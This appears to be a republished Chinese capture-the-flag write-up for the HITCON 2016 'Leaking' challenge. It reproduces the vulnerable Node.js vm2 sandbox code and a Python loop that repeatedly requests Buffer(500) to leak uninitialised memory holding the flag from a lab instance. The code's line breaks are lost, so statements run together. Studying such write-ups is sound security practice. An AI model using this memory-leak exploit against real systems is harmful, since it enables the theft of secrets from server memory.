BUUCTF--[HITCON 2016]Leaking
生活随笔
收集整理的這篇文章主要介紹了
BUUCTF--[HITCON 2016]Leaking
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
?進入頁面后給出代碼
"use strict";var randomstring = require("randomstring"); var express = require("express"); var {VM } = require("vm2"); var fs = require("fs");var app = express(); var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/* Orange is so kind so he put the flag here. But if you can guess correctly :P */eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());} });app.listen(3000, function() {console.log("listening on port 3000!"); });看大佬的wp
這是一道關于node.js沙箱逃逸的問題
大致說一下 題目的描述,首先定義變量flag,然后我們可以在沙箱里面執行任意的命令,那我們如何逃逸出去呢?
使用Buffer()來讀取內存?
# encoding=utf-8import requests import time url = 'http://78e5e472-dde8-4352-9d04-8c43cd9960c1.node4.buuoj.cn:81/?data=Buffer(500)' response = '' while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break總結
以上是生活随笔為你收集整理的BUUCTF--[HITCON 2016]Leaking的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 在Linux环境下 nginx 部署vu
- 下一篇: 基于python的MODIS数据质量控制